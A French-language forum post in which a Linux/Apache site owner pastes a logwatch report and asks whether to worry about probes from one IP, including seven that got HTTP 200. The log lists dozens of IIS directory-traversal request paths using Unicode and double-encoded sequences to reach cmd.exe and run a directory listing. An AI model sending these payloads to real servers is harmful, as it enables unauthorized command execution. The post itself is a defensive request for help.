Discussion :

[Charly94]

Bonjour à tous,

j'heberge depuis quelques mois un site sur un serveur en linux avec apache 2.
Ce matin, en regardant mon logwatch, je vois ceci :

--------------------- httpd Begin ------------------------


A total of 1 sites probed the server
218.92.63.250

!!!! 7 possible successful probes
/cgi-bin/..?..?..?../winnt/system32/cmd.exe?/c+dir HTTP Response 200
/_vti_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir HTTP Response 200
/msadc/..?..?..?../winnt/system32/cmd.exe?/c+dir HTTP Response 200
/msadc/..?../..?../..?../winnt/system32/cmd.exe?/c+dir HTTP Response 200
/scripts/..?..?..?..?../winnt/system32/cmd.exe?/c+dir HTTP Response 200
/_mem_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir HTTP Response 200
/scripts/..?../winnt/system32/cmd.exe?/c+dir HTTP Response 200

Requests with error response codes
400 Bad Request
/_mem_bin/../../../../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/_vti_bin/../../../../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/bin/scripts/../../../../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/cgi-bin/../../../../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/scripts/../../../../../winnt/system32/cmd.exe?/c+dir: 2 Time(s)
/scripts/../../cmd.exe?/c+dir: 2 Time(s)
/scripts/../../winnt/system32/cmd.exe?/c+dir: 2 Time(s)
404 Not Found
/Cgi-Bin/cmd32.exe?/c+dir: 2 Time(s)
/_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_mem_bin/..%c1%9c..%c1%9c..%c1%9c../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_mem_bin/.._../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_vti_bin/..%c1%9c..%c1%9c..%c1%9c../winnt ... /cmd.exe?/c+dir: 1 Time(s)
/_vti_bin/.._../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/bin/scripts/..?..?..?../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/bin/scripts/.._../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/cgi-Bin/cmd.exe?/c+dir: 1 Time(s)
/cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/ ... /cmd.exe?/c+dir: 1 Time(s)
/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/ ... /cmd.exe?/c+dir: 1 Time(s)
/cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/ ... /cmd.exe?/c+dir: 1 Time(s)
/cgi-bin/..%c1%9c..%c1%9c..%c1%9c../winnt/ ... /cmd.exe?/c+dir: 1 Time(s)
/cgi-bin/.._../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/cgi-bin/cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/sy ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c0%2f../..%c0%2f../..%c0%2f../wi ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c0%af..%c0%af..%c0%af../winnt/sy ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c0%af../..%c0%af../..%c0%af../wi ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/sy ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c1%1c../..%c1%1c../..%c1%1c../wi ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c1%9c..%c1%9c..%c1%9c../winnt/sy ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/..%c1%9f../..%c1%9f../..%c1%9f../wi ... /cmd.exe?/c+dir: 1 Time(s)
/msadc/.._../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/script/.._../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f. ... /cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c0%af..%c0%af..%c0%af..%c0%af. ... /cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c. ... /cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9c. ... /cmd.exe?/c+dir: 1 Time(s)
/scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir: 1 Time(s)
/scripts/.._../winnt/system32/cmd.exe?/c+dir: 2 Time(s)
/scripts/cmd.exe?/c+dir: 1 Time(s)
/scripts/cmd32.exe: 1 Time(s)
/scripts/cmd32.exe?/c+dir: 1 Time(s)
/scripts/root.exe?/c+dir: 1 Time(s)

---------------------- httpd End -------------------------

Etant de nature suspiscieuse, ai je des raisons de m'inquiéter, en particulier pour les renvois "HTTP Response 200" ?


Merci d'avance pour vos réponses, qui me rassureront je l'espère..

ps : l'IP est pingable et se situe au USA...

[Charly94]

bon, ben çà semble pas inspirer beaucoup de monde...